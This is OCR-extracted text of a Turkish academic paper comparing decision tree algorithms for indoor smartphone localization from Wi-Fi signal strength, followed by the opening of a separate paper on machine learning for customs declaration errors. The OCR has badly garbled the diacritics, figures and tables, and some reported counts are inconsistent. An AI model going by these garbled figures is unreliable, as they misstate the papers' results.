belirlemede karsilastig1 teknik sorunlar (Van Diggelen ve Abraham, 2001) tarafindan ele alinmaistir.

Ic mekan senaryolar1 insan yasaminin biiyiik bir kismi ile ilgili olmasi nedeniyle insanlarin veya nesnelerin i¢ mekanlardaki
konumlarini saglamak i¢in siirekli ve gergek zamanli olarak c¢alisan sistemler olarak diisiiniilebilir (Gu, Lo, ve Niemegeers,
2009). Bu sistemler, yasli ve engelli kisilerin giinliik fiziksel aktivitelerini tanimada ve yasamsal belirtilerinin (Barsocchi
et al., 2015) gercek zamanli olarak izlenmesinde (Wang, Yang, ve Dong, 2017 ; Huang, Wang, Zhang, Hu, ve Jin, 2019) ve
acil durumlarda kullanilabilir. Bunun yani sira anaokulu giivenliginde (Lin, Lee, Syu, ve Chen, 2010), gérme engelli kisiler
(Abu Doush, Alshatnawi, Al-Tamimi, Alhasan, ve Hamasha, 2017; Saenz ve Sanchez, 2009; Zhang ve Ye, 2020) ve turistler
i¢in navigasyon saglamada i¢ mekan konumlandirma hizmetlerine ihtiya¢ duyulur. Insanlar disinda hastanelerdeki pahali
ekipmanlari takip etmek, hirsizlig1 6nlemek ve ameliyatlar sirasinda robotik asistanlar i¢in hassas konumlandirma yapmada
Ic mekan konumlandirma sistemleri talep edilmektedir (Correa, Llado, Morell, ve Vicario, 2016; Gu et al., 2009). ic mekan
konumlandirma lizerine ¢esitli calismalar yapilmistir (Akleylek, Kili¢, Sdylemez, Aruk, & Cavus, 2020). Bu amag igin birgok
teknolojiden yararlanilmistir. Bu teknolojiler (Arslantas & Okdem, 2019) tarafindan anlatilmistir. Artirilmis gergeklik
teknolojisi ile i¢c mekan navigasyonu uygulanmistir (Calik & Giilgen, 2021). Akilli ev teknolojisi igin kablosuz akilli Kit.
(Kuncan & Omer, 2019) ve bir akill1 telefon uygulamas1 6nerilmistir (Homayounvala, Nabati, Shahbazian, Ghorashi, &
Moghtadaiee, 2019). Zigbee modiilii kullanilarak ses kontrollii bir ev otomasyonunun gelistirilmistir (Cubuk¢u, Kuncan,
Kaplan, & Ertunc, 2015). Bluetooth sinyal giiciine dayali (Rida, Liu, Jadi, Algawhari, ve Askourih, 2015; Subhan, Hasbullah,
ve Ashraf, 2013) konum belirleme ¢alismalar1 yapilmistir. Akilli mobil cihazlar i¢in bluetooth ve WiFi iletisimine dayali
hibrit bir i¢ mekan konum mekanizmasi (Su, Liao, Lin, ve Lin, 2015) tasarlanmistir. Radyo Frekansi sinyal giicii 6l¢imlerinden
i¢ mekan konum tahmini (Seco, Jiménez, ve Zampella, 2013) yapilmis ve konum belirleme i¢in yeni bir yontem onerilmistir
(Chen ve Huang, 2009). Ayrica maliyeti diigiirme ¢alismalarinda bulunulmus ve diisiik maliyetli i¢ mekan konumlandirma
sistemi tasarlanmistir (Randell ve Muller, 2001). Coklu optik alicilar kullanarak i¢ mekan konum takibi (Yasir, Ho, ve
Vellambi, 2015) yapilmistir. Bu teknolojiler ile birlikte konum belirlemek i¢in makine 6grenmesi yontemleri siklikla
kullanilmaktadir. I¢ mekan konumlandirma i¢in makine 6grenimi igin anket ¢alismasi yapilmistir (Roy & Chowdhury, 2021).
Ic mekanda gercek zamanl kisi tespitinde makine dgrenmesi algoritmalarinin karsilastirmali Basarim analizi yapilmistir
(Taser & Akram, 2021). Dinamik yapay sinir ag1 ile i¢ mekan konum kestirimi yapilmistir (Mert, Ferdi, & Hakan, 2020) .
Bir¢ok makine dgrenmesi teknikleri vardir. Bina ici lokalizasyon uygulamalarinda hangi makine 6grenmesi yonteminin
kullanildig1 ¢ok dnemlidir (Bozkurt, Elibol, Gunal, ve Yayan, 2015). Calismada karar agaglarin1 tercih edilmesinin nedeni,
Karar Agaglarinin karar verirken insan diisiinme yetenegini taklit etmesi nedeniyle anlasilmasi kolay ve basari oraninin

yiiksek olmasidir.

2. MATERIAL VE YONTEM
2.1. Veri Seti

Calismada kullanilan veriler UCI (Frank, 2010) kiitiiphanesinden elde edilmistir. Veri setinde 4 farkli odada bulunan kisilerin
akill1 telefonlart ile 7 farkli kablosuz sinyal giicii 6l¢iimiinden olusan 2000 adet 6l¢iim bulunmaktadir. Bu veriler ilk olarak
(Rohra, Perumal, Narayanan, Thakur, ve Bhatt, 2017)’de kullanilmistir. Bu ¢alismada (Rohra et al., 2017) den farkl1 olarak,
12 farkli karar agaci algoritmasi kullanilmistir. Bu veriler kullanilarak Karar agaglari algoritmalarinin disindaki siniflandirma
algoritmalarinin karsilastirmasi yapilmistir (Sabanci, Yigit, Ustun, Toktas, ve Aslan, 2018). Fakat yapilan ¢alismada
algoritmalarin performans analizlerinin yapilmasinda hata matrisi gosterilmis ve dogruluk 6l¢iitii géz oniine alinmistir.
Oysaki algoritmalarin performanslarinin karsilastirilmasinda sadece dogruluk &l¢iitiiniin kullanimi yeterli degildir. Ciinkii
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siniflandirma algoritmasinin tiim tahminleri sayica fazla olan siniftan yapmasi durumunda, algoritma neredeyse hicbir sey
o6grenmedigi halde dogruluk orani yiiksek ¢ikabilir (Joshi, 2016). Ayrica siniflandirma algoritmalar: arasindan problemin
¢Ozlimiinde en etkili algoritmay1 segebilmek i¢in algoritmanin veri tabaninda bulunmayan bir veriyi siniflandirabilme
yeteneginin dlgiilmesi 6nemlidir. Bu nedenle, bu ¢alismada algoritmalarin veri tabaninda bulunmayan bir veriyi siniflandirabilme
yeteneginin 6l¢lilmesi igin 10 kat capraz dogrulama islemi gergeklestirilmistir. Algoritmalarin performans analizi yapilirken
hem ¢apraz dogrulama dncesi performanslar1 hem de ¢apraz dogrulamadan sonraki performanslar1 karsilastirilmis ve en
iyi sonug veren algoritma belirlenmistir. Calismay1 anlatan akis diyagrami Sekil 1’de verilmistir.

SINIFLANDIRMA
—_—
* En iyi-ilk karar agaci PERFORTTNS
« Extra-agiag ANALIZ
< —_—
+ Fonksiyonel agaclar .
" . * Kangikl
Kablosuz : :“4"‘:”"'"9 2k matrisi
Sinyal Giicii Q inli
v « LAD-Tree [ * Ees'"“lkl .
-
» Lojistik model agaci KONUM .
* F-Skoru
* NB-agaci o1 A
* Rasgele orman o7 O EUE
Rt =) =) * o2
* Rep Tree 03 * Dogruluk
o 04 * KOKH

10 Kat
Capraz
Dogrulama

EN BASARILI
ALGORITMA

Sekil 1. Calismanin akis diyagrami

2.2. Karar Agaclari

Karar agaclarinda model, kokleri yukarida, ters cevrilmis bir agaca benzetilebilir. Bir karar agaci, karar vermede kullanilan
karar diigiimleri, karar ¢iktilar1 olarak sayilan yaprak diigiimleri ve dallardan olusur. Bir yaprak diigiimiinden sonra agag
daha fazla ayrilamaz. Bir karar agacina basitge bir soru sorularak bazi 6zellikler test edilir. Sorunun cevabina gore (Evet/
Hayir) karar diigiimii alt diiglimlere boliiniir. Bir karar agacinin genel yapisini agiklayan diyagram Sekil 2’de verilmistir.

Karar agacindaki ilk diigiime kok diigiim adi verilir ve dallanma oradan baslar.

.Kék
[ 1
Karar Karar
digimi digimii
[ ! 1 [ ! ]
Karar
. Yaprak . digtimii . Yaprak .Yaprak
|
[

. Yaprak . Yaprak

Sekil 2. Karar Agaci yapist

Karar agaglarinin ¢aligma prensibi kisaca su sekilde dzetlenebilir. Oncelikle, kok dzniteliginin degerlerini kayit dzniteligi
ile karsilastirir sonrasinda karsilagtirmaya dayali olarak dallanir ve bir sonraki diigliime geger. Yine 6znitelik degerini alt
diigimlerle karsilastirir ve bir sonraki diigiime geger. Bu islem yaprak diigtime gelinceye kadar devam eder. Bir karar agacini
uygulamada kok diigiim ve alt diigiimler igin en iyi 6zniteligin nasil segilecegi oldukca 6nemlidir. Oz nitelik secimi icin
bilgi kazanct ve Gini endeksi olmak iizere iki popiiler yontem bulunmaktadir. Bilgi Kazanci, bir 6zelligin bir sinif ile ilgili
ne 6lglide bilgi sagladigini hesaplar. Bilgi kazancinin degeri kullanilarak diigiimler boliiniir ve karar agaci olusturulur. Bir
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karar agaci algoritmasi bilgi kazancinin maksimum olmasini ister. Béliinme sirasinda yiiksek bilgi kazancina sahip bir
diigiim/6znitelik 6nce boliiniir. Gini Indeksi, karar agacinin olusturulmasinda bir saflik dl¢iitii olarak kullanilir. Nitelik
se¢iminde diisiik gini indeksine sahip olan nitelik tercih edilir. Karar agaglarinda gok biiylik agaglar fazla uyum riski
olusturabilmesine karsin kii¢lik agaclar da veri kiimesine ait 6nemli &zelliklerini kagirabilir. Bu durumun iistesinden gelip
optimal karar agaci elde etmek i¢in gereksiz diigiimlerin agactan atilmasi islemi olarak agiklanan budama yontemi kullanilir.
Birgok karar agaci algoritmasi vardir. Lojistik Model Agacinda ayrilma (LMT) J48 algoritmasina benzemektedir. Karar
agaci indiiksiyonu ile lojistik regresyon modeli birlestirilmistir. Budama yapilarak aga¢ sadelestirilir (Landwehr, Hall, ve
Frank, 2005). Ekstra Agaclar (Extra tree) algoritmasinda, egitim veri kiimesinden ¢ok sayida budanmamis karar agaci
olusturarak ¢alisir. Tahminler, regresyon durumunda karar agaclarinin tahmininin ortalamasi alinarak veya siniflandirma
durumunda ¢ogunluk oylamasi kullanilarak yapilir (Geurts, Ernst, ve Wehenkel, 2006). Hoefting agacindaki (Hoeffding
tree) diigliimlerin parcalanmasina hoeffding sinir1 ile bilinen bir istatistiksel deger kullanilarak karar verilir (Hulten, Spencer,
ve Domingos, 2001). {1k olarak (J. R. Quinlan, 1987) tarafindan 6nerilen Rep tree algoritmasi, hatay1 en aza indirmek icin
entropi ile bilgi kazanimini kullanir (Srinivasan ve Mekala, 2014). CART Algoritmasinda, her karar diigiimii farkli ayirma
kriteri kullanilarak aga¢ iki dala ayrilir (Breiman, Friedman, Olshen, ve Stone, 1984). En iyi-ilk karar agaci (BF tree) Gini
Indeksini (H. Shi, 2007) ve C4.5 olarak ta bilinen J48 algoritmasi dzellik se¢iminde bilgi kazancini kullanir (R. Quinlan,
1993). Fonksiyonel agaglar (FT tree) algoritmasinda veri bir 6rnek uzayinda hiper-dikdortgenlere boliiniir. Karar uzayi test
edilen 6zellige dik diger 6zelliklere ise paralel olmalidir (Gama, 2004). NB tree algoritmasi, Bayes kuralinin karar agaglarina
uygulanmasi ile olusturulmustur (Kohavi, 1996). Rasgele orman nitelik seciminde diigiimleri dallara ayirmadan diigiimlerden
rasgele nitelikler alir ve bu nitelikler arasindan en iyisini seger sonrasinda bu niteliklere gore diigtimleri dallara ayirir. Agag
budama islemi yapilmaz (Breima, 2010). Rasgele aga¢ algoritmasi ise her diigiimden belli sayida 6zellik alinarak agag
olusturulur (Breima, 2010).

2.3. Performans Analizi

Siniflandirma algoritmalarinin performans degerlendirmesi i¢in K-kat ¢apraz dogrulama teknigi tercih edilmistir. K-katlama
¢apraz dogrulama teknigi, olasi asirt uyumu 6nlemek ve modelin daha 6nce géormedigi bir veri kiimesi iizerinde nasil
performans gosterdigini anlamak i¢in veri kiimesini egitim ve test kiimelerine bdler. Ciinkii asir1 uyumda model egitim
setinde basarili olurken, hi¢ gormedigi veri setleri izerinde basarisiz tahminler yapar. K-katlama ¢apraz dogrulama teknigi,
egitim veri setini rastgele k pargaya boler. Egitim icin k-1, test seti i¢in 1 kisim kullanilir ve bu k defa tekrarlanir. Her turda
elde edilen degerler toplanir ve modelin performansi degerlendirilir. K sayis1 bu ¢alismada oldugu gibi genellikle 10°dur. Bir
siniflandirma algoritmasinin siniflandirma siirecinin sonunda ne kadar iyi performans gosterdigini degerlendirmek i¢in
cesitli dlgiitler bulunmaktadir. Bu 6lgiitlerden en sik kullanilani, ger¢ek ve tahmin edilen siniflar hakkinda bilgiler igeren
karisiklik matrisidir. Bu matriste Dogru Pozitif, Dogru Negatif, Yanlis Pozitif ve Yanlis Negatif olmak {izere 4 farkli durum
ortaya ¢cikmaktadir. Yanlis Pozitif ve Yanlis Negatif degerler, tahmin edilen sinif ile gercek sinif ayni olmadiginda ortaya
¢ikar. Bunlar, algoritmanin yanlis tahmin ettigi sivilarin sayisini gosterir. Ayrica bu degerler kullanilarak performans
degerlendirmesi i¢in bazi metrikler hesaplanabilir. Ornegin, tahmin edilen gézlem sayisini toplam gdzlem sayisina bolerek
Dogruluk degeri, Dogru Pozitif gozlem sayisini toplam pozitif gézlem sayisina bolerek Kesinlik degeri, dogru gozlem sayisini
toplam gozlem sayisina bolerek duyarlilik, kesinlik ve duyarlilik degerlerinin harmonik ortalamasi alinarak F-Skoru
hesaplanabilir. Duyarlilik, pozitif olarak tahmin edilmesi gerekenlerin ne kadarin1 pozitif olarak tahmin edildigini gésteren
bir performans ol¢iitiidiir. Kesinlik pozitif olarak tahmin edilen degerlerin ger¢ekten kag¢ tanesinin pozitif oldugunu
gostermektedir. Ayrica bir olasilik egrisi olan ROC egrilerinin incelenmesi performans degerlendirmesinde dnemli bir yere
sahiptir. ROC egrisinde X ekseni Yanlis Pozitif Oranini, Y ekseni de Dogru Pozitif Oranini gostermektedir. Bu egrilerin
altinda kalan alan degerine bakilarak algoritmanin siniflandirma performansi hakkinda yorum yapilabilir. Bu metriklerin
disinda, performans degerlendirme ¢aligmalarinda yaygin olarak Kappa istatistiksel degeri kullanilmaktadir. Kappa degeri,
yapilan siniflandirma ile gergek siniflandirma arasindaki uyumu 6lger ve -1 ile 1 arasinda degisir. -1 degeri tam bir
uyumsuzlugu, 1 degeri ise milkemmel uyumu gosterir. Kok otalama kare hata degeri ise siniflandirmanin ne kadar hata ile

yapildigini gdsteren bir dlgiittiir. Siniflandirmada hata oraninin diisiik olmasi siniflandirmanin basarili oldugunu ifade eder.
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3. BULGULAR VE TARTISMA

Farkli odalarda bulunan kullanicilarin akilli telefonlar1 ile 7 farklt Wi-Fi kaynagindan gelen sinyal giigleri dl¢tilmiistiir.
Toplam 2000 adet 6l¢iim alinmistir. Bu 6lgiimler ve 12 adet farkli karar agaci algoritmasi kullanilarak kullanicinin hangi
odada oldugunun tespiti yapilmistir. Siniflandirma uygulamasinda kullanicilar 4 farkli odada bulundugu igin veriler,
0dal(01), 0da2(02), 0da3(03), Oda4(04) olmak iizere 4 farkli sinifa ayrilmistir. Algoritmalarin siniflandirma performansinin
belirlenmesi i¢in ¢apraz dogrulama dncesi ve sonrasinda performans analizi yapilmistir. Algoritmalarin ¢apraz dogrulama
uygulanmadan yapilan siniflandirmadan elde edilen karisiklik matrisi Sekil 3 de verilmistir.

En iyi-ilk karar agac: Extra-agac Fonksivonel agaglar
Tzhmin edilen Sim:ef Tahmin edilen Simaf Tahmin edilen Simf
o102 03|04 ol|o2|05]| 04 Q1020304
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Sekil 3. Capraz dogrulama uygulanmadan yapilan siniflandirmadan elde edilen karisiklik matrisi.

Burada yesil renkle gosterilen kdsegen degerleri Dogru Pozitif ve Dogru Negatif degerlerini ifade eder. Bu degerler algoritmanin
dogru tahmin ettigi veri sayisidir. Diger degerler ise yanlis tahmin edilen verilerin sayisini gdsterir. Ornegin En iyi karar
algoritmasinin toplam dogru tahmin ettigi veri sayist 1981’dir. Algoritma O1’de bulunan 1 kisinin O4’ te oldugunu, 02’ de
olan 10 kisiyi O3’ te oldugunu, O3’ te olan 2 kiginin O1” de, 4 kisiyi de O2’de ve O4’te olan 2 kisiyi de Ol’de oldugu tahmininde
bulunmustur. Algoritmanin konumunu yanlis tahmin ettigi kisi sayist toplam 19°dur. Karisiklik matrisinden yararlanilarak
Kesinlik, Duyarlilik, F1-skoru ve Kappa degeri hesaplanmistir. Bu degerlerden ROC egrileri ¢izilmis ve egri altinda kalan
alanlar hesaplanarak hesaplanan diger performans olgiitleri ile birlikte Tablo 1’de verilmistir.
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Tablo 1. 10 kat ¢apraz dogrulama éncesi performans metrikleri

Algoritma Simif Kesinlik Duyarhihik F1 skoru AUC Kappa
o1 0.99 0.99 0.99 0.99
Efl iyi-ilk karar 02 0.99 0.98 0.98 0.99 0.98
agact 03 0.98 0.98 0.98 0.99
04 0.99 0.99 0.99 0.99
01 1 1 1 1
. 02 1 1 1 1
Extra-agac 03 | | ! ] 1
04 1 1 1 1
o1 1 1 1 1
Fonksiyonel 02 0.99 0.96 0.98 0.99 0.98
agaglar 03 0.96 0.99 0.97 0.99 ’
04 0.99 0.99 0.99 1
o1 --- 0.0 0.5
02 0.99 0.94 0.96 0.99
Hoeffding-agact 03 0.75 0.99 0.85 0.97 064
04 0.57 0.99 0.72 0.93
o1 0.99 0.99 0.99 0.99
02 0.99 0.99 0.99 0.99 0.99
143 03 0.99 0.99 0.99 0.99 '
04 1 0.99 0.99 0.99
o1 0.99 0.99 0.99 1
02 0.97 0.96 0.96 0.99 0.96
LAD-Tree 03 0.95 0.96 0.95 0.99 ’
04 0.99 0.98 0.98 1
Ol 1 0.99 0.99 1
Lojistik model 02 0.99 0.97 0.98 0.99
agacl 03 0.97 0.99 0.98 0.99 0.98
04 0.99 1 0.99 1
01 0.99 0.99 0.99 1
02 1 0.95 0.97 0.99
NB-agac 03 0.95 0.99 0.97 0.99 098
04 0.99 0.99 0.99 1
01 1 1 1 1
02 1 1 1 1
Rasgele orman 03 ) ] ) ) 1
04 1 1 1 1
01 1 1 1 1
02 1 1 1 1
Rassal agag 1
03 1 1 1 1
04 1 1 1 1
o1 0.99 0.99 0.99 0.99
02 0.99 0.95 0.97 0.99
0.97
Rep Tree 03 0.95 0.98 0.96 0.98
04 0.99 0.99 0.99 0.99
o1 0.99 0.99 0.99 0.99
02 0.98 0.95 0.97 0.99
Cart 0.97
03 0.95 0.97 0.96 0.98
04 0.99 0.98 0.98 0.99

Bu dlgiitlere gore siniflandirmanin basarili olmasi degerlerin 1’e yaklasmasi anlamina gelmektedir. Deger 1 olursa mitkemmel
bir siniflandirma yapildig1 ve algoritmanin ¢ok basarili oldugu kabulii yapilir.

Algoritmalarin veri tabaninda bulunmayan bir veriyi siniflandirma basarisini test etmek i¢in ¢apraz dogrulama yontemi
kullanilmistir. 10 Kat ¢apraz dogrulama sonrasi elde edilen karisiklik matrisi Sekil 4’de diger performans olgiitleri ise Tablo
2’de verilmistir.
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En ivi-ilk karar agaca Extra-agag Fonksivone] agaclar
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Sekil 4.Capraz dogrulama uygulamasindan sonra elde edilen karigiklik matrisi.

Capraz dogrulamadan sonra Extra tree algoritmast 2000 veriden 1891 tanesini dogru, 109 tanesini yanlis siniflandirmis,

Rasgele orman 1970 dogru, 30 yanlis Rassal aga¢ 1924 dogru 76 yanlis siniflandirmistir. Hoeffding tree algoritmasinin

dogru siniflandirdigi veri sayisi 196 yanlis siniflandirdigi veri sayisi ise 34 olmustur.

Tablo 2. 10 kat ¢apraz dogrulama sonrasi performans metrikleri

Algoritma Simf Kesinlik Duyarhihk F1 skoru AUC Kappa
o1 0.98 0.99 0.99 0.99
En iyi-ilk karar 02 0.96 0.94 0.95 0.98 0.96
agact 03 093 0.95 0.94 0.97
04 0.99 0.98 0.98 0.99
(O 0.96 0.97 0.96 0.97
B 02 0.93 0.94 0.93 0.95
Extra-agac 0.92
03 0.90 0.90 0.90 0.93
04 0.97 0.97 0.97 0.98
(O 0.98 0.99 0.98 0.99
Fonksiyonel 02 0.98 0.96 0.97 0.99 0.97
agagclar 03 0.95 0.96 0.96 0.98 ’
04 0.98 0.99 0.98 0.99
O1 0.99 0.99 0.99 1
Hoeffding-agact 02 099 095 097 099 0.97
03 0.95 0.98 0.96 0.99
04 0.99 0.99 0.99 1
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En yiiksek Kappa degeri Rasgele orman algoritmasina aittir. Rasgele orman algoritmasinda diger odalarin performans

olciitlerine oranla en diisiik F1 skoru ve AUC degeri Oda3 i¢in elde edilmistir. Algoritmalarin egitim ve ¢apraz dogrulamadaki

dogruluk ve hata oranlar1 sirasiyla Sekil 5 ve Sekil 6’te verilmistir.
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Sekil 5. Algoritmalarin dogruluk orani.
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Sekil 6. Algoritmalarin Kok ortalama kare hata degeri.
4. SONUCLAR

Kablosuz sinyal giicii kullanilarak 4 farkli odada bulunan akilli telefon kullanicilarinin konumunun belirlenmesinde 12
farkli karar agaci algoritmasi kullanilmistir. Calismada fazla sayida algoritma kullanilmasi bu problemin ¢éziimiinde en
basarili algoritmanin bulunabilmesi i¢in 6nemlidir. Ayrica algoritmalarin performans analizinde sadece bir ka¢ metrik degeri
ile yetinilmeyip bir cok metrik degeri hesaplanmis ve en iyi performansi belirleyebilmek i¢cin yorumlanmistir. Performans
degerlendirmesi igin de sadece veri tabaninda bulunan drneklerin siniflandirilmasindaki performanslar degil ayni zamanda
algoritmanin daha 6nce hi¢ gérmedigi bir 6rnegi siniflandirma performanslari incelenmistir. Tiim bu durumlar ¢alismay1
daha 6nceki ¢calismalardan istiin kilmaktadir. Calismada en popiiler performans analiz yontemi olan 10 kat ¢apraz dogrulama
yontemi ile performans analizi yapilmistir. Analizinde dogruluk, karisiklik matrisi, kesinlik, duyarlilik, F-skoru, Kappa
istatistigi, Kok ortalama hata degeri ve ROC degeri kullanilmistir. Algoritmalarin hangi odadaki kisilerin tespitinde daha
basarili oldugunu anlamak amaciyla bu degerler her sinif i¢in ayr1 ayr1 hesaplanmistir. Performans metriklerinin her sinif
icin ayr1 hesaplanmasi da yine ¢alismay1 diger calismalardan farklilastirmistir. Performans analizi sonucunda algoritmalarin
birbirlerine yakin sonuglar verdigi ve capraz dogrulama sonrasi yapilan siniflandirmada tiim algoritmalarin performanslarinda
dogal bir diisiis gozlenmistir. Capraz dogrulama dncesi hesaplanan performans metriklerine bakildiginda Extra agag, Rasgele
orman ve Rassal aga¢ algoritmalarinin metrik degerlerinin 1 tam puan aldig1 goriilmektedir. Bu durum veri tabaninda
bulunan verilerle yapilan siniflandirmalarda bu algoritmlarin performansinin diger algoritmalardan daha iyi oldugunu
gosterir. En diisiik metrik degerleri ise Hoeffding agaci algoritmasina aittir. Algoritma Odal de bulunan hi¢ kimseyi dogru
siniflandiramamistir. Bu nedenle Precision degeri Odal i¢in hesaplanamamistir. Odal disindaki odalar i¢in 1466 tanesi
dogru 534 yanlis siniflandirma yapmistir. Kappa degeri de diger algoritmalara gore oldukea diisiiktiir. Bu nedenle ¢apraz
dogrulama 6ncesinde yapilan siniflandirmada en kotii performanst Hoeffding agaci algoritmasinin gosterdigi anlagilmaktadir.

Capraz dogrulama sonrasinda Extra aga¢ ve Rassal agac capraz dogrulama dncesi gosterdikleri performansi gosteremedikleri
icin bu algoritmalarin veri tabaninda bulunmayan drnekleri siniflandirmada iyi performans gostermedikleri sonucuna
varilabilir. Capraz dogrumalama sonrasinda genel olarak en yiiksek performans metrikleri rasgele orman algoritmasinindir.
Bu metrik degerleri sinif bazinda incelendiginde Oda2 ve Oda 3 sinifina ait metric degerlerinin diger siniflardan daha diistik
oldugu goriilmektedir. Bu durum bu algoritmanin en ¢ok Oda2 ve Oda3’ te bulunan kisilerin tespitinde zorlandig1 ve bu
odalarda bulunan baz1 kisilerin yerini yanlis tespit ettigi anlamina gelmektedir. Odal ve Oda4 i¢in kesinlik ve duyarlilik
degerleri 0.99 iken Oda2 ve Oda3 igin bu degerler diisiis gostermistir. Oda2 de bulunan 19 kisiyi tespit edemediginden
duyarlilik degeri 0.96 olmustur. Konumunu Oda3 oldugunu tahmin ettigi 21 kisinin gercekte farkli odalarda olmasi nedeniyle
de kesinlik degeri 0.95 olmustur. Yapilan performans degerlendirmesi sonucunda en iyi performansi Rasgele orman algoritmasi
elde etmistir. En kot performans ise Hoeffding algoritmasinin olmustur. Calisma genelinde hem ¢apraz dogrulama oncesi
hemde ¢apraz dogrulama sonrasi hesaplanan en yiiksek metrik degerleri Rasgele orman algoritmasinindir. Bu nedenle en

basarili algoritmanin bu oldugu snucuna varilabilir. Algoritmanin ¢apraz dogrulama 6ncesi dogruluk orani %100 ¢apraz

Acta Infologica 171



Kablosuz Sinyal Giiciinii Kullanarak I¢ Mekan Kullanic1 Lokalizasyonu igin Karar Agact Algoritmalarinin Kargilagtirilmast

dogrulamadaki dogruluk orani %98’dir. Hata oranlar1 ise ¢apraz dogrulamma 6ncesi 0.03, capraz dogrulamada 0.08’dir.
Caprz dogrulama Oncesi ve sonrasi hata orani en yiiksek, dogruluk orani ve diger metrik degerleri en diisiik olan algoritma

Hoeffding agaci algoritmasi olmustur.

Sonug olarak Kablosuz Sinyal Giiciinii Kullanarak I¢ Mekan Kullanici Lokalizasyonu igin Rasgele orman algoritmasinin
kullanim1 dnerilmektedir. Gelecek ¢aligmalarda veri sayisi ve oda sayilar1 arttirlarak kisilerin konumlarinin bulunmasi

amaglanmaktadir.
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oz

Gumriik islemlerinde kullanilan beyannamelerin hatasiz sunulmasi kritik dnem tasir. Bu beyannamenin
olusturulmasinda kullanilan yontemlerin gesitliligi, dinamizmi ve karmasiklig1 kargisinda insan kaynakl: hatali
beyanname dosyalari tiretilmektedir. Bunlar, ig giicii, miisteri ve para kayb1 gibi birgok sorunun yaninda s6zlesme
ve yasal uyum gibi hukuki sorunlara da neden olmaktadir. Bu sorunlarin ¢dziimii i¢in giincel bilgi teknolojileriyle
desteklenen akilli yapilara ihtiyag duyulmaktadir. Bu amagla lojistik sektoriinde giimriik beyannamesi olusturma
alaninda biiyiik veri lizerinden 6grenme algoritmalarinin kullanilabilirligi 6nemlidir. Bu ¢alismada, 4.005.343
beyanname verisi tizerinden giimriik beyannamesi siirecinde 6grenmeye dayali algoritmalarin etkinlik
performanslar1 degerlendirilmistir. Performans 6l¢iim sonuglarina gore %25 test orant ile Train-test split
yonteminde Karar Agact (%75.69) ve Torbalama (%75.70) algoritmalarinda maksimum sonug ulasildi. K
degerinin 10 alindig1 K-Fold yonteminde ise Karar Agaci (%75.84) ve Torbalama (%75.83) benzer basarim
oranlar1 elde edildi. Bu sonuglar, makine 6grenmesi algoritmalarinin kullaniminin bildirim hatalarini tespit
etmek icin etkili bir yontem oldugunu ortaya koymustur. Giimriik beyannamesi siirelerinin iyilestirilmesine,
akilli kontrol yapilarmin gelistirilmesine ve sahada yapilacak yeni ¢aligmalara kaynak teskil edecektir.
Anahtar Kelimeler: Giimriik Beyannamesi, Ogrenme Algoritmalari, Lojistik, Biiyiik Veri

ABSTRACT

Having the declarations used in customs procedures be submitted without errors is critical. In the face of the
diversity, dynamism, and complexity of the methods used in creating this declaration, human-induced declaration
files are produced erroneously. These cause many problems such as loss of labor, customers, and money, as well
as legal problems such as contract and legal compliance. Intelligent structures supported by current information
technologies are needed to solve these problems. For this purpose, being able to use learning algorithms over big
data is important in the field of customs declaration creation in the logistics industry. This study evaluates the
efficiency performances of learning-based algorithms regarding the customs declaration process over 4,005,343
pieces of declaration data. According to the performance measurement results, the maximum result was achieved
in the Decision Tree (75.69%) and Bagging (75.70%) algorithms with respect to the Train-test split method at a test
rate of 25%. Regarding the K-Fold method, which assumes K to be equal to 10, similar success rates were obtained
for the Decision Tree (75.84%) and Bagging (75.83%) algorithms. These results reveal the use of machine learning
algorithms to be an effective method for detecting notification errors. This can be a resource for improving
customs declaration processes and developing smart control structures, as well as for new studies to be carried out
in the field.

Keywords: Customs Declaration, Learning Algorithms, Logistics, Big Data
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1. GIRIS

Gilimriik beyannamesi bir¢ok bilesenden olusan karmasik bir yaprya sahiptir. Giimriik islemlerinde kilit role sahip giimriik
beyannamesi titizlikle hazirlanmasi gereken, olusturulmasi ciddi anlamda yetkin is giicii ve zaman gerektiren bir stiregtir.
Bu siirecin uygulama yazilim gelistirmesinde teknik bilgi ve beceri yaninda ciddi is slireci ve mevzuat bilgisi de gerekmektedir.
Mevzuatlar ise her gecen giin yenilenen ve siirekli takip edilmesi gereken bir 6zelliktedir. Isin bu tiir karmasikliklar1 yaninda
yetkin ve yeterli insan kaynaginin olmamasi beyanname yaziminda ciddi hatalarin dogmasina sebep olmaktadir. Bu tiir
hatalar ise yiiklii cezalarla karst karsiya kalinmasina sebep olmaktadir. Bu durum ayni zamanda operasyon maliyet ve
stireglerini de olumsuz etkilemektedir. Ayrica yasal ve hukuki bir takim olumsuz sonuglarda dogurabilmektedir.

Giliniimiizde nesnelerin interneti(IoT), makineler arast iletisim (M2M), yapay zeka, kuantum bilgisayar, blok zincir teknolojisi
gibi birgok ileri gelismeler vardir (Sahinaslan & Sahinaslan, 2019). Bilisim teknolojilerinde yasanan béylesine hizli gelismeler
yasamin neredeyse her alanina dokunur olmustur. Ornegin lojistik sektdriinde bu yeni teknolojilerden birisi olan blok zincir
teknolojisi degisim etkilerini gostermektedir (Koh, 2020). Dijitallesme, dijital doniislimler insan emek, is giicii, ¢alisma
kosul ve tiirlerinde de birtakim degisiklikler meydana getirmektedir (Sahinaslan O. , 2020). 7*24 acik dijital pazarlara cevik
ve hizli yanit verebilecek dinamik altyapi ve uygulamalara ihtiya¢ vardir (Sahinaslan E. , 2020). Yeni ihtiyaglara gore
sekillenen dijital teknolojiler ve uygulamalar {ilkeler arasi dis ticaret imkan ve kabiliyetini de gelistirmektedir. Bilgi ve
iletisim teknolojisi kullanimu ticaret engellerini azaltmaya ve mesafeleri kisaltmaya yardimer olarak ticaret verimliligini ve

hacmini de arttirmis, ticaret maliyetlerini ise 6nemli dl¢iide azaltmistir (Wang & Choi, 2018).

Dis ticaret ile bityiime arasinda baglantilar vardir (Ugan & Kogak, 2014). Dis ticaret bilyiimenin ana unsurlarindan biri olarak
degerlendirilmektedir. Ulkeler iirettikleri mallarin fazlasini ihrac ederek gelir elde edebilmektedir. Ayrica kendinde mevcut
olmayan veya iiretemedigi mallari ithal ederek ihtiyaglarini karsilayabilmektedir (Sagik, 2009). Dis ticareti her iilke kendi
mevzuatlarina gore belli kurallara gore yapmaktadir ve bu kurallar siirekli gelisim halindedir. Ulkemizde 4458 say1li Giimriik
Kanunu ile dis ticaret iglemleri diizenlenmistir. 4458 nolu Giimriik Kanunu 27.10.1999°da kabul edilmistir. Bu kanunla ihracat
ve ithalat amagli Tiirkiye Cumhuriyeti Giimriik Bolgesine giren ve ¢ikan her tiirlii mal, esya ve tasit araclarina uygulanacak
